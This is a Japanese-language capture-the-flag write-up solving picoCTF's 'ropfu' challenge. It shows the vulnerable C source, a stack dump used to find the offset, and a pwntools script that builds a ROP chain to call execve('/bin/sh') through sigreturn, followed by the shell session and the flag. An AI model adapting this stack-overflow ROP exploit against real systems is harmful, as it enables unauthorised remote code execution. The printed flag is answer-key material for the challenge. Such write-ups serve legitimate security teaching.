ropfu (Bianry Exploitation)
What's ROP?
Can you exploit the following program to get the flag?
Download source.
nc saturn.picoctf.net 57122
添付ファイル
・vuln
・vuln.c
とりあえず、実行してみる。
$ nc saturn.picoctf.net 57122
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
任意の文字列を受け取るらしい。目標はshellを取ること。
ソースコードを確認する。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
gets(buf)でbuffer overflowができる。
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=232215a502491a549a155b1a790de97f0c433482, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
[*] '/home/colza-picoctf/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
このファイルは32-bit binary。
shellを起動するROP chainを組み、buffer overflowを利用して実行させる。
オフセットを調べる。
pwndbg> x/12x $ebp-0x18
0xffffcf30: 0x61616161 0x0806e500 0x080e5000 0x08049e12
0xffffcf40: 0x000003e8 0x080e5000 0xffffcf68 0x08049e1a
0xffffcf50: 0x080e5000 0x080e5000 0x080e5000 0x000003e8
gets(buf)実行後のebpレジスタを見ると、bufの先頭から0x1c bytesのところにreturn addressがある。
shellを起動できるようにROP chainを組む。静的にコンパイルされたバイナリだが、system等の使えそうな関数や/bin/sh
が見当たらない。よって、execve("/bin/sh", NULL, NULL)
を実行できるように、/bin/sh
を読み書き可能な領域のアドレスに書き込み、第1引数として書き込み先のアドレスを渡す。
/bin/sh
の書き込みはgets()を利用する。また、書き込み先アドレスは.bssの先頭0x080e62c0とする。
以下、実行コード。
from pwn import *
context.kernel = 'amd64'
elf = ELF('./vuln')
p = remote('saturn.picoctf.net', 57122)
rop = ROP(elf)
rop.call('gets', [0x080e62c0])
rop.execve(0x080e62c0, 0, 0)
print(rop.dump())
payload = b"a" * 0x1c + rop.chain()
p.sendline(payload)
p.sendline(b"/bin/sh")
p.interactive()
実行する。
$ python3 solve.py
[*] '/mnt/c/Users/NAEL/Desktop/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[+] Opening connection to saturn.picoctf.net on port 57122: Done
[*] Loaded 77 cached gadgets for './vuln'
[*] Using sigreturn for 'SYS_execve'
0x0000: 0x8051b60 gets(0x80e62c0)
0x0004: 0x8049022 <adjust @0xc> pop ebx; ret
0x0008: 0x80e62c0 completed.7104
0x000c: 0x80b073a pop eax; ret
0x0010: 0x77 [arg0] eax = SYS_sigreturn
0x0014: 0x804a3c2 int 0x80
0x0018: 0x0 gs
0x001c: 0x0 fs
0x0020: 0x0 es
0x0024: 0x0 ds
0x0028: 0x0 edi
0x002c: 0x0 esi
0x0030: 0x0 ebp
0x0034: 0x0 esp
0x0038: 0x80e62c0 ebx = completed.7104
0x003c: 0x0 edx
0x0040: 0x0 ecx
0x0044: 0xb eax = SYS_execve
0x0048: 0x0 trapno
0x004c: 0x0 err
0x0050: 0x804a3c2 int 0x80
0x0054: 0x23 cs
0x0058: 0x0 eflags
0x005c: 0x0 esp_at_signal
0x0060: 0x2b ss
0x0064: 0x0 fpstate
[*] Switching to interactive mode
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
$ ls
flag.txt
vuln
$ cat flag.txt
picoCTF{5n47ch_7h3_5h311_4c812975}
フラグが得られた。
picoCTF{5n47ch_7h3_5h311_4c812975}